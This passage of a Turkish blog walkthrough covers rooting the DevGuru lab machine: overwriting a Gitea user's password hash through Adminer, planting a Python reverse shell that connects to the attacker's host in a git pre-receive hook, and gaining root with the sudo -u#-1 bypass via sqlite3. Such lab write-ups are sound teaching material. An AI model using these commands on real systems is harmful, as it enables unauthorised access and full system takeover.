Kullanıcı adımız çok iyi değil mi?
gitea:UfFPTF8C8jjxVF2m
Bununn üzerine http://10.0.2.19/adminer.php?server=localhost adresinde bu kullanıcı olarak giriş yaptım. gitea isimli bir db ile karşılaştım ve yine user bulabileceğim bir tablo aradım. user tablosuna geldiğimde içeride kayıtlı bir kullanıcı gördüm. Adı yine frank. Password'ün hash'ini anlamadım ancak yanında pbkdf2 olduğu yazıyordu. Ayrıca tabbloda hash için salt kısmıda (Bop8nwtUiM) mevcuttu.
Uzun süre birşeyler yapmayı denedim ancak başarılı olamadım. Bunun üzerine gitea projesini incelemeye başladım. Sonuç olarak aynı mantıkla hash'in üstüne yazabiliriz. Sadece nasıl çalıştığını bulmam gerekiyor.
gitea projesini buldum ve indirdim. Aşağıdaki gibi bir arama yaptığımda istediğim kısma geldim.
┌──(root💀kali)-[~]
└─# git clone https://github.com/go-gitea/gitea.git
Cloning into 'gitea'...
remote: Enumerating objects: 148698, done.
remote: Counting objects: 100% (1116/1116), done.
remote: Compressing objects: 100% (565/565), done.
remote: Total 148698 (delta 583), reused 873 (delta 513), pack-reused 147582
Receiving objects: 100% (148698/148698), 200.34 MiB | 1.33 MiB/s, done.
Resolving deltas: 100% (101253/101253), done.
┌──(root💀kali)-[~]
──(root💀kali)-[~]
└─# grep -r "pbkdf2" gitea
gitea/docs/content/doc/advanced/config-cheat-sheet.en-us.md:- `PASSWORD_HASH_ALGO`: **pbkdf2**: The hash algorithm to use \[argon2, pbkdf2, scrypt, bcrypt\], argon2 will spend more memory than others.
gitea/go.sum:github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI=
gitea/vendor/modules.txt:golang.org/x/crypto/pbkdf2
gitea/vendor/github.com/go-openapi/strfmt/go.sum:github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI=
gitea/vendor/github.com/couchbase/goutils/scramsha/scramsha.go: "golang.org/x/crypto/pbkdf2"
gitea/vendor/github.com/couchbase/goutils/scramsha/scramsha.go: s.saltedPassword = pbkdf2.Key([]byte(pass), s.salt, s.i,
gitea/vendor/golang.org/x/crypto/pbkdf2/pbkdf2.go:Package pbkdf2 implements the key derivation function PBKDF2 as defined in RFC
gitea/vendor/golang.org/x/crypto/pbkdf2/pbkdf2.go:pbkdf2.Key.
gitea/vendor/golang.org/x/crypto/pbkdf2/pbkdf2.go:package pbkdf2 // import "golang.org/x/crypto/pbkdf2"
gitea/vendor/golang.org/x/crypto/pbkdf2/pbkdf2.go:// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
gitea/vendor/golang.org/x/crypto/scrypt/scrypt.go: "golang.org/x/crypto/pbkdf2"
gitea/vendor/golang.org/x/crypto/scrypt/scrypt.go: b := pbkdf2.Key(password, salt, 1, p*128*r, sha256.New)
gitea/vendor/golang.org/x/crypto/scrypt/scrypt.go: return pbkdf2.Key(password, b, 1, keyLen, sha256.New), nil
gitea/modules/setting/setting.go: PasswordHashAlgo = sec.Key("PASSWORD_HASH_ALGO").MustString("pbkdf2")
gitea/modules/context/context.go: "golang.org/x/crypto/pbkdf2"
gitea/modules/context/context.go: key := pbkdf2.Key([]byte(secret), []byte(secret), 1000, 16, sha256.New)
gitea/modules/context/context.go: key := pbkdf2.Key([]byte(secret), []byte(secret), 1000, 16, sha256.New)
gitea/models/migrations/v71.go: "golang.org/x/crypto/pbkdf2"
gitea/models/migrations/v71.go: tempHash := pbkdf2.Key([]byte(token), []byte(salt), 10000, 50, sha256.New)
gitea/models/migrations/v124.go: PasswdHashAlgo string `xorm:"NOT NULL DEFAULT 'pbkdf2'"`
gitea/models/migrations/v166.go: "golang.org/x/crypto/pbkdf2"
gitea/models/migrations/v166.go: algoPbkdf2 = "pbkdf2"
gitea/models/migrations/v166.go: tempPasswd = pbkdf2.Key([]byte(passwd), []byte(salt), 10000, 50, sha256.New)
gitea/models/user_test.go: algos := []string{"argon2", "pbkdf2", "scrypt", "bcrypt"}
gitea/models/twofactor.go: "golang.org/x/crypto/pbkdf2"
gitea/models/twofactor.go: tempHash := pbkdf2.Key([]byte(token), []byte(salt), 10000, 50, sha256.New)
gitea/models/user.go: "golang.org/x/crypto/pbkdf2"
gitea/models/user.go: algoPbkdf2 = "pbkdf2"
gitea/models/user.go: tempPasswd = pbkdf2.Key([]byte(passwd), []byte(salt), 10000, 50, sha256.New)
grep: gitea/.git/index: binary file matches
gitea/custom/conf/app.example.ini:;; Password Hash algorithm, either "argon2", "pbkdf2", "scrypt" or "bcrypt"
gitea/custom/conf/app.example.ini:;PASSWORD_HASH_ALGO = pbkdf2
gitea/CHANGELOG.md: * Turn default hash password algorithm back to pbkdf2 from argon2 until we find a better one (#14673) (#14675)
Bunun üzerine gitea/models/user.go dosyasında aağıdaki gibi bir fonksyion buldum.
317 func hashPassword(passwd, salt, algo string) string {
318 var tempPasswd []byte
319 switch algo {
320 case algoBcrypt:
321 tempPasswd, _ = bcrypt.GenerateFromPassword([]byte(passwd), bcrypt.DefaultCost)
322 return string(tempPasswd)
323 case algoScrypt:
324 tempPasswd, _ = scrypt.Key([]byte(passwd), []byte(salt), 65536, 16, 2, 50)
325 case algoArgon2:
326 tempPasswd = argon2.IDKey([]byte(passwd), []byte(salt), 2, 65536, 8, 50)
327 case algoPbkdf2:
328 fallthrough
329 default:
330 tempPasswd = pbkdf2.Key([]byte(passwd), []byte(salt), 10000, 50, sha256.New)
331 }
332 return fmt.Sprintf("%x", tempPasswd)
333 }
Harika işte aradığımız! Online bir git editör ile hemen parolamı hashledim. Bunun için ben https://play.golang.org/ adresini kullandım. Kodum aşağıda:
package main
import (
"fmt"
"golang.org/x/crypto/pbkdf2"
"crypto/sha256"
)
func main() {
var tempPasswd []byte
tempPasswd = pbkdf2.Key([]byte("kuday"), []byte("Bop8nwtUiM"), 10000, 50, sha256.New)
fmt.Println(fmt.Sprintf("%x", tempPasswd))
}
Çıktı:771aee7c9c8fa90d9f31e9edd43327c71225305c63ea03e320f7bfa9999084ab41731a28a32b3e7aab247553738f6eac351b
Şimdi bunu değiştirelim. Aynı mantıkla kullanıcı şifresini değiştirdim ve artık 8585'te çalışan gitea projesine frank kullanıcısı ile giriş yapabildim.
Şimdi biraz geçmişi haırlayalım. Bu projeyi zaten hedef sunucudaki frank çalıştırıyordu. Yaptığım incelemelerde makinede python3 yüklü.
frank:kuday kullanıcı adı ve parolası ile http://10.0.2.19:8585/user/login?redirect_to= adresine giriş yaptım.
Artık proje karşımdaydı. Bunun üzerine bir hook eklemek istedim. git hook'un ne olduğunu bilmiyorsanız kısaca özel işlemler yapmak için kullanılan dosyalar dyebiliriz. Bir hook ekleyeceğim daha sonra projeye yeni commit girip hook'u tetikleyeceğim.
http://10.0.2.19:8585/frank/devguru-website/settings/hooks/git/pre-receive adresine gidip aşağıdaki reverse shell'imi girdim.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.17",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Not:İlk başta nc ile reverse almayı denedim ancak hata verdi.
Daha sonrasında update hook dedim. Şimdi projeye gelelim. ve bir commit girelim. Ben hemen README.MD dosyasına #kuday gibi bir ifade ekledim ve commitledim. commit ncesi ve sonrasına aşağıda terminal ekranımdan kanıtlayayim hemen.
┌──(root💀kali)-[~/git-dumper/devguru/devguru-website]
└─# git log
commit a04aebca813581d4abd036451217393070ed7e95 (HEAD -> master)
Author: Your Name <[email protected]>
Date: Tue Jun 29 18:47:43 2021 -0400
kuday
commit 7de9115700c5656c670b34987c6fbffd39d90cf2 (origin/master, origin/HEAD)
Author: frank <[email protected]>
Date: Thu Nov 19 18:42:03 2020 -0600
first commit
Projeyi isterseniz terminal üzerinde de commit'leyebilirsiniz tabikide...
Bu işlemi yaptığımızda önceden açtığımız dinleme noktasına çoktan reverse gelmişti.
┌──(root💀kali)-[~/git-dumper/devguru]
└─# nc -lvp 9999 1 ⨯
listening on [any] 9999 ...
connect to [10.0.2.17] from devguru.local [10.0.2.19] 48700
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ whoami
whoami
frank
frank@devguru:~/gitea-repositories/frank/devguru-website.git$
frank kullanıcı ilede bazı incelemeler yaptım.
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo -V
sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
frank@devguru:~/gitea-repositories/frank/devguru-website.git$
frank@devguru:~/gitea-repositories/frank/devguru-website.git$
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo -l
sudo -l
Matching Defaults entries for frank on devguru:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User frank may run the following commands on devguru:
(ALL, !root) NOPASSWD: /usr/bin/sqlite3
sudo sürümünde sıkıntı var bunu https://www.sudo.ws/alerts/minus_1_uid.html adresinden de okuyabilirsiniz kısca şöyle açıklayayim. root haricinde şifresiz bir şekilde sqlite3 kullanileceğimziisöylemiş sudo için sudo -u#-1 ifadesi sudo -u root anlamında gelmektedir. Bu hata 1.8.28. de düzeltilmiş. E o zaman hadi root'a.
frank@devguru:~/gitea-repositories/frank/devguru-website.git$ sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
<.git$ sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
msg.txt root.txt
# cat root.txt
cat root.txt
96440606fb88aa7497cde5a8e68daf8f
# cat msg.txt
cat msg.txt
Congrats on rooting DevGuru!
Contact me via Twitter @zayotic to give feedback!
#
Güzel makine!
İlk Yorumu Siz Yapın